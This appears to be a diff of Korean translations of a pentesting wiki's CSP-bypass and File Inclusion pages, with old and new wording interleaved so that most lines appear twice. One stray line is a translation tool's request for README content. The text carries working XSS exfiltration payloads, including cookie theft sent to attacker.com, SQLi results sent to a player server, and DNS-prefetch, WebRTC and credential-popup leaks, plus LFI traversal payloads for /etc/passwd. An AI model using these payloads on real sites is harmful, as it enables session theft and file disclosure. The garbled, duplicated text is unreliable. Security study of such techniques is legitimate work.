`'unsafe-inline'`은 코드 내부의 어떤 스크립트든 실행할 수 있다는 의미입니다 (XSS는 코드를 실행할 수 있습니다) 그리고 `img-src *`는 웹페이지에서 모든 리소스의 이미지를 사용할 수 있다는 의미입니다.
You can bypass this CSP by exfiltrating the data via images (이번 경우에는 XSS가 CSRF를 악용하여 bot이 접근할 수 있는 페이지에 SQLi가 포함되어 있고, 이미지를 통해 flag를 추출합니다):
이 CSP는 이미지를 통해 데이터를 유출하여 우회할 수 있습니다 (이 경우 XSS는 bot이 접근 가능한 페이지에 SQLi가 있는 CSRF를 악용하고, 이미지를 통해 플래그를 추출합니다):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -452,11 +452,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
출처: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
설정을 악용해 **이미지 안에 삽입된 javascript 코드를 로드**할 수도 있습니다. 예를 들어 페이지가 Twitter의 이미지를 로드하도록 허용한다면, **특수한 이미지**를 **제작(craft)**하여 **Twitter에 업로드**하고 "**unsafe-inline**"을 남용해 일반 XSS처럼 JS 코드를 **실행**할 수 있습니다. 이 코드는 이미지를 **로드**하고, 그 안에서 JS를 **추출**한 다음 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
구성은 **이미지 안에 삽입된 javascript 코드를 로드**하도록 악용할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, 당신은 **특수한 이미지**를 **제작**해 **Twitter에 업로드**하고 "**unsafe-inline**"을 악용해 일반적인 XSS처럼 JS 코드를 **실행**시킬 수 있습니다. 그 코드는 **이미지를 로드**하고, 그 안에서 **JS를 추출**해 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### With Service Workers
Service workers **`importScripts`** 함수는 CSP에 의해 제한되지 않습니다:
Service workers **`importScripts`** function은 CSP의 제한을 받지 않습니다:
{{#ref}}
@ -469,25 +469,25 @@ Service workers **`importScripts`** 함수는 CSP에 의해 제한되지 않습
#### Chrome
만약 당신이 보낸 **parameter**가 **policy의 선언(declaration)** 내부에 **붙여넣기(pasted)** 된다면, policy를 무력화하도록 어떤 방식으로든 **수정(alter)**할 수 있습니다. 다음 우회 기법들 중 하나로 **script 'unsafe-inline'을 허용**할 수 있습니다:
만약 당신이 보낸 **parameter**가 **declaration** 내부에 **pasted inside** 된다면, **policy**를 어떤 식으로든 **alter**하여 쓸모없게 만들 수 있습니다. 다음과 같은 우회 방법들로 **allow script 'unsafe-inline'**를 허용할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
디렉티브는 **기존 script-src directives를 덮어씁니다**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
지시문은 **기존의 script-src 지시문을 덮어씁니다**.\
예시는 다음에서 확인할 수 있습니다: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge에서는 훨씬 간단합니다. CSP에 단지 이것만 추가할 수 있다면: **`;_`** **Edge**는 전체 **policy**를 **무시합니다**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: **`;_`** **Edge**는 전체 **정책**을 **무시합니다**.\
예시: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
### img-src \*; XSS (iframe)를 통한 시간 기반 공격
디렉티브 `'unsafe-inline'`이(가) 없음을 주의하세요.\
이번에는 **XSS**로 `<iframe>`을 사용해 피해자에게 **당신이 제어하는** 페이지를 **로드**하게 할 수 있습니다. 이번에는 피해자에게 당신이 정보를 추출하려는 페이지에 접근하게 할 것입니다 (**CSRF**). 페이지의 내용을 직접 접근할 수는 없지만, 만약 어떤 식으로든 페이지가 로드되는 데 걸리는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 **XSS**로 `<iframe>`을 통해 피해자가 **당신이 제어하는 페이지를 로드**하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하려는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용을 직접 볼 수는 없지만, 만약 페이지가 로드되는 데 걸리는 시간을 **제어**할 수 있다면 필요한 정보를 추출할 수 있습니다.
이번에는 **flag**가 추출될 것이며, SQLi를 통해 **문자 하나가 올바르게 추측될 때마다** sleep function 때문에 **응답**이 **더 오래 걸립니다**. 그러면 플래그를 추출할 수 있게 됩니다:
이번에는 **flag**가 추출됩니다. **SQLi**로 **char**가 올바르게 추측될 때마다 **response**는 **sleep** 함수 때문에 **더 오래 걸립니다**. 그러면 **flag**를 추출할 수 있습니다:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -547,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Bookmarklets를 통한 공격
### Bookmarklets를 통한
이 공격은 공격자가 사회공학 기법을 사용해 사용자를 설득하여 브라우저의 bookmarklet 위로 링크를 **drag\&dropped 하도록 만드는** 상황을 포함합니다. 이 bookmarklet에는 **malicious javascript** 코드가 들어있어, drag\&dropped되거나 클릭되었을 때 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 cookies나 tokens 같은 민감한 정보를 탈취할 수 있게** 됩니다.
이 공격은 공격자가 사용자를 설득해 브라우저의 bookmarklet 위로 링크를 드래그하여 놓도록 하는 일부 social engineering을 수반합니다. 이 bookmarklet은 **악의적인 javascript** 코드를 포함하고 있으며, drag\&dropped되거나 클릭되면 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 cookies나 tokens 같은 민감한 정보를 탈취할 수 있게 합니다**.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP를 제한하여 우회하기
### CSP bypass — CSP를 제한하여
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 특정 JS 파일의 로드를 금지함으로써 우회됩니다. 그런 다음, 이를 통해 **prototype pollution** 또는 **dom clobbering**을 이용해 다른 스크립트를 **abuse a different script to load an arbitrary script** 할 수 있게 됩니다.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Iframe의 CSP를 **제한**하려면 **`csp`** 속성을 사용할 수 있습니다:
Iframe의 **CSP를 제한**하려면 **`csp`** 속성을 사용할 수 있습니다:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서, **HTML injection**을 통해 **CSP**를 더 제한하여 CSTI를 방지하던 script가 비활성화되었고, 따라서 **취약점이 악용 가능해졌다.**\
CSP는 **HTML meta tags**를 사용해 더 엄격하게 만들 수 있으며, **inline scripts**는 그들의 **nonce**를 허용하는 항목을 **removing the entry**함으로써 비활성화하고 특정 inline script는 **sha**로 활성화할 수 있다:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서**HTML injection**을 통해 **CSP**를 **더 엄격하게 제한**할 수 있었고, CSTI를 방지하는 스크립트가 비활성화되어 결과적으로 **취약점이 악용 가능해졌다.**\
CSP는 **HTML meta tags**를 사용해 더 제한적으로 설정할 수 있으며, inline scripts는 그들의 **nonce**를 허용하던 **항목**을 **제거**하여 비활성화할 수 있고, 특정 inline script는 **sha를 통해 허용**할 수 있다:
```html
<meta
http-equiv="Content-Security-Policy"
@ -573,11 +573,11 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### Content-Security-Policy-Report-Only를 이용한 JS exfiltration
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 헤더 **`Content-Security-Policy-Report-Only`** **(귀하가 제어하는 값으로)** 응답하도록 만들 수 있다면(예: CRLF 때문에), 그 헤더가 귀하의 서버를 가리키도록 설정할 수 있습니다. 그리고 exfiltrate하려는 **JS content****`<script>`** 로 감싸고, `unsafe-inline` 이 CSP에 의해 허용되지 않을 가능성이 높으므로, 이것은 **CSP error** 를 유발하여 스크립트의 일부(민감한 정보를 포함한 부분)가 `Content-Security-Policy-Report-Only` 를 통해 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더로 **당신이 제어하는 값**을 응답하도록 만들 수 있다면(예: CRLF 때문에), 해당 헤더를 당신의 서버로 향하게 할 수 있습니다. 그리고 유출하려는 **JS content**를 **`<script>`**로 **감싸면**, CSP에서 `unsafe-inline`이 허용되지 않았을 가능성이 높기 때문에 이것이 **CSP error**를 유발하고, 스크립트의 일부(민감한 정보를 포함한 부분)가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송됩니다.
예시로는 [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)을 참고하세요.
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -587,43 +587,43 @@ document.querySelector("DIV").innerHTML =
### Leaking Information with CSP and Iframe
- `iframe`가 생성되어 CSP에서 허용된 URL(예: `https://example.redirect.com`)을 가리킵니다.
- 이 URL은 이후 CSP에서 **허용되지 않는** 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
- `securitypolicyviolation` 이벤트를 수신하여 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 leak합니다.
- 이 URL은 이후 **허용되지 않는** CSP 대상인 비밀 URL(예: `https://usersecret.example2.com`)로 리다이렉트됩니다.
- `securitypolicyviolation` 이벤트를 수신(listen)하면 `blockedURI` 속성을 캡쳐할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어, 초기 URL이 리다이렉트한 비밀 도메인을 leaking합니다.
Chrome과 Firefox 같은 브라우저는 CSP와 관련된 iframe 처리에서 서로 다른 동작을 보이는 점이 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 leak될 수 있음을 의미합니다.
흥미롭게도 Chrome과 Firefox 같은 브라우저는 CSP와 iframe 처리 방식에서 서로 다른 동작을 보이며, 이러한 정의되지 않은 동작으로 인해 민감한 정보가 leak될 수 있습니다.
또 다른 기법은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 탐색 알고리즘을 이용하고, 의도적으로 차단되는 특정 도메인을 포함하도록 CSP를 조정하는 방식에 의존합니다. 예를 들어 비밀 서브도메인이 알려지지 않은 문자들로 구성되어 있다면, CSP 지시문을 수정해 해당 서브도메인들을 차단하거나 허용하면서 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP를 설정하는 방법을 보여주는 스니펫입니다:
또 다른 기법은 CSP 자체를 악용해 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 탐색 알고리즘(binary search algorithm)에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정하는 방식입니다. 예를 들어, 비밀 서브도메인이 알 수 없는 문자들로 구성되어 있다면, CSP 지시문을 수정하여 해당 서브도메인을 차단하거나 허용하면서 반복적으로 서로 다른 서브도메인을 테스트할 수 있습니다. 아래는 이 방법을 수행하기 위해 CSP가 어떻게 설정될 수 있는지 보여주는 스니펫입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용되는 요청을 모니터링함으로써 비밀 subdomain의 가능한 문자를 좁혀 결국 전체 URL을 밝혀낼 수 있다.
CSP에 의해 차단되거나 허용되는 요청을 모니터링하면 비밀 서브도메인의 가능한 문자를 좁혀 결국 전체 URL을 밝혀낼 수 있다.
두 방법 모두 브라우저에서의 CSP 구현과 동작의 미묘한 차이를 악용하며, 겉보기에는 안전해 보이는 정책이 의도치 않게 민감한 정보를 leak할 수 있음을 보여준다.
두 방법 모두 브라우저에서의 CSP 구현과 동작의 세부 차이를 악용하여, 겉보기에는 안전해 보이는 정책이 의도치 않게 민감한 정보를 leak할 수 있음을 보여준다.
트릭 출처: [**here**](https://ctftime.org/writeup/29310).
트릭 [**here**](https://ctftime.org/writeup/29310).
## Unsafe Technologies to Bypass CSP
## CSP 우회를 위한 위험한 기술
### PHP에서 params가 너무 많을 때 발생하는 오류
### PHP Errors when too many params
비디오의 [**마지막 기법**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터를 전송하면 (1001 GET parameters — POST params나 20개 이상의 파일로도 가능) 이로 인해 발생하는 오류 때문에 PHP 웹 코드에 정의된 어떤 **`header()`**든 **전송되지 않는다**.
[**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 매우 많은 파라미터를 전송하면(예: 1001 GET parameters — POST params나 20개 이상의 파일로도 가능) PHP에서 에러가 발생한다. 이로 인해 발생하는 에러 때문에 PHP 웹 코드에 정의된 모든 **`header()`**는 **전송되지 않는다**.
### PHP 응답 버퍼 오버로드
### PHP response buffer overload
PHP는 **기본적으로 응답을 4096 바이트까지 버퍼링**하는 것으로 알려져 있다. 따라서 PHP가 경고를 표시하는 경우, **경고에 충분한 데이터를 포함시키면**, **응답**은 **CSP header보다 먼저** **전송된다**, 그 결과 해당 header는 무시된다.\
그런 다음, 이 기법은 기본적으로 **경고로 응답 버퍼를 채워** CSP header가 전송되지 않도록 만드는 것이다.
PHP는 기본적으로 **response를 4096 바이트까지 버퍼링(buffering the response to 4096)** 하는 것으로 알려져 있다. 따라서 PHP가 warning을 출력하는 상황에서, **warnings 안에 충분한 데이터를 넣으면**, **response가 CSP header보다 먼저 전송되어** 그 header가 무시된다.\
즉, 이 기법은 기본적으로 **warning들로 response 버퍼를 채워** CSP header가 전송되지 않게 만드는 것이다.
아이디어 출처: [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
아이디어 [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 가져왔다.
### max_input_vars를 통한 CSP 무력화 (headers already sent)
### Kill CSP via max_input_vars (headers already sent)
헤더는 어떤 출력보다 먼저 전송되어야 하기 때문에, PHP가 발생시키는 경고는 이후의 `header()` 호출을 무효화할 수 있다. 사용자 입력이 `max_input_vars`를 초과하면 PHP는 먼저 startup warning을 발생시키고; 이후의 `header('Content-Security-Policy: ...')` 호출은 “headers already sent” 오류로 실패하여 실질적으로 CSP를 비활성화하고 원래 차단되던 reflective XSS를 허용하게 된다.
headers는 어떤 출력보다 먼저 전송되어야 하기 때문에, PHP가 발생시키는 warning은 이후의 `header()` 호출을 무효화할 수 있다. 만약 사용자 입력이 `max_input_vars`를 초과하면, PHP는 먼저 startup warning을 던지고; 이후의 `header('Content-Security-Policy: ...')` 호출은 “headers already sent” 오류로 실패하여 CSP를 사실상 비활성화하고, 원래라면 차단되었을 reflective XSS를 허용하게 된다.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
예:
Please paste the README.md content you want translated. I will translate the English text to Korean while keeping all markdown, tags, links, paths and code unchanged per your rules.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -633,9 +633,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
### 오류 페이지 재작성
[**writeup**](https://blog.ssrf.kr/69)에 따르면, 에러 페이지(잠재적으로 CSP가 적용되지 않은)를 로드하고 그 내용을 재작성함으로써 CSP 보호를 우회할 수 있었던 것으로 보입니다.
[**this writeup**](https://blog.ssrf.kr/69)에 따르면, 오류 페이지(잠재적으로 CSP가 없을 수 있음)를 로드하고 그 내용을 재작성함으로써 CSP 보호를 우회할 수 있었던 것으로 보입니다.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -644,40 +644,41 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME는 XSS(또는 매우 제한된 XSS)를 악용하여 페이지의 **in an endpoint of a page**에서 같은 출처의 **other endpoints of the same origin.**를 악용하는 기법입니다. 이는 공격자 페이지에서 vulnerable endpoint를 로드한 뒤, 공격자 페이지를 악용하려는 same origin의 real endpoint로 새로고침함으로써 이루어집니다. 이렇게 하면 **vulnerable endpoint**는 **`opener`** 객체를 **payload** 안에서 사용해 **real endpoint to abuse**의 **DOM**에 접근할 수 있습니다. 자세한 내용은 다음을 확인하세요:
SOME는 페이지의 **endpoint에 있는** XSS(또는 매우 제한된 XSS)를 이용해 **동일 origin의 다른 endpoints를 악용**하는 기법입니다. 이는 공격자 페이지에서 vulnerable endpoint를 로드한 뒤, 해당 공격자 페이지를 원하는 동일 origin의 실제 endpoint로 새로고침하여 수행됩니다. 이렇게 하면 **vulnerable endpoint**는 **`opener`** 객체를 **payload**에서 사용해 악용하려는 **real endpoint의 DOM에 접근**할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
또한, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** endpoint를 가지고 있으며, 이는 전송된 **data**를 출력에 **reflect**합니다(허용되는 문자는 영문자, 숫자 및 점(.)으로 제한됨).
또한, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** endpoint를 가지고 있으며, 이 엔드포인트는 전송된 **data**를 출력에 **reflect**합니다(단, 영문자, 숫자 및 점만 허용되는 제약이 있습니다).
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
공격자는 해당 endpoint를 악용해 WordPress를 대상으로 **SOME attack**을 **generate**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`처럼 페이지에 **embed**할 수 있습니다. 이 **script**는 **'self'에 의해 허용(allowed)**되므로 **loaded**됩니다. 게다가 WordPress가 설치되어 있기 때문에, 공격자는 **vulnerable** **callback** endpoint를 통해 **SOME attack**을 이용해 **CSP를 우회(bypass)**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수도 있습니다...\
자세한 공격 수행 방법은 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
만약 외부 서버와의 **interact**를 허용하지 않는 엄격한 CSP가 있다면, 정보를 exfiltrate하기 위해 항상 할 수 있는 몇 가지 방법이 있습니다.
### Location
You could just update the location to send to the attacker's server the secret information:
비밀 정보를 공격자 서버로 전송하기 위해 단순히 location을 업데이트할 수 있습니다:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### 메타 태그
### Meta tag
메타 태그를 주입하여 리다이렉트할 수 있습니다 (이것은 단지 리다이렉트일 뿐이며, 콘텐츠를 leak하지 않습니다)
meta tag를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며 콘텐츠를 leak하지 않습니다)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트명을 IP 주소로 미리 해석하고 나중에 사용할 수 있도록 캐시합니다.\
브라우저에게 호스트명을 미리 해석하도록 지시하려면 다음을 사용하세요: `<link rel="dns-prefetch" href="something.com">`
페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해석하고 이후 사용을 위해 캐시합니다.\
브라우저에게 호스트 이름을 미리 해석하도록 지시하려면: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **exfiltrate sensitive information via DNS requests**:
이 동작을 악용 **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -694,18 +695,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
런 일이 발생하지 않도록 서버는 다음 HTTP header를 전송할 수 있습니다:
를 방지하기 위해 서버는 다음과 같은 HTTP header를 보낼 수 있습니다:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> 보통 이 기법은 headless browsers (bots)에서는 작동하지 않는 것 같습니다
> 이 기법은 headless browsers (bots)에서는 작동하지 않는 것으로 보입니다
### WebRTC
여러 페이지에서 **WebRTC는 CSP의 `connect-src` 정책을 검사하지 않는다**고 읽을 수 있습니다.
여러 페이지에서 **WebRTC doesn't check the `connect-src` policy**라고 읽을 수 있습니다.
실제로 _leak_ 정보를 _DNS request_를 사용하여 유출할 수 있습니다. 다음 코드를 확인하세요:
실제로 정보를 _leak_하기 위해 _DNS request_를 사용할 수 있습니다. 다음 코드를 확인하세요:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -727,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Credential 팝업은 페이지에 의해 제한되지 않고 iconURL로 DNS 요청을 보냅니다. 이는 보안 컨텍스트(HTTPS) 또는 localhost에서만 작동합니다.
자격 증명 팝업은 페이지의 제약을 받지 않고 iconURL로 DNS 요청을 보냅니다. 이는 보안 컨텍스트(HTTPS) 또는 localhost에서만 작동합니다.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -738,7 +739,7 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## CSP 정책 온라인 확인
## 온라인에서 CSP 정책 확인
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
@ -747,7 +748,7 @@ iconURL:"https:"+your_data+"example.com"
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## 참고자료
## 참고 자료
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)

View File

@ -4,58 +4,58 @@
## File Inclusion
**Remote File Inclusion (RFI):** 원격 서버에서 파일을 로드합니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 이 기능이 **비활성화**되어 있습니다 (**allow_url_include**).\
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). In php this is **비활성화** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약한 **PHP functions**: require, require_once, include, include_once
이 취약점을 익스플로잇하는 데 유용한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
이 취약점을 악용하기 위한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## 블라인드 - 흥미로운 - LFI2RCE 파일들
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**여러 \*nix LFI 리스트를 혼합하고 경로를 추가해 만든 목록:**
**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가해서 만든 목록:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
또한 `/``\`바꿔보세요
또한 `../../../../../`를 추가해 보세요
또한 `/``\`변경해보세요
또한 `../../../../../`를 추가해보세요
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용하는 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에 있습니다
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
여러 wordlists의 병합:
다양한 wordlists의 병합:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
또한 `/``\`바꿔보세요
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요
또한 `/``\`변경해보세요
또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용하는 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에 있습니다
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Linux의 LFI 리스트를 확인하세요.
linux의 LFI 목록을 확인하세요.
## Basic LFI and bypasses
## 기본 LFI 및 우회
모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences 비재귀적으로 제거됨
### traversal sequences 비재귀적으로 제거됨
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
제공된 문자열 끝에 더 많은 문자가 추가되는 것을 우회 (우회 대상: $\_GET\['param']."php")
제공된 문자열 끝에 더 많은 문자를 추가하는 것을 우회 (우회 대상: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
이 문제는 **PHP 5.4 이후에 해결되었습니다**
이 문제는 **PHP 5.4에 해결되었습니다**
### **인코딩**
double URL encode (및 기타)와 같은 비표준 인코딩을 사용할 수 있습니다:
double URL encode 비표준 인코딩을 사용할 수 있습니다:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
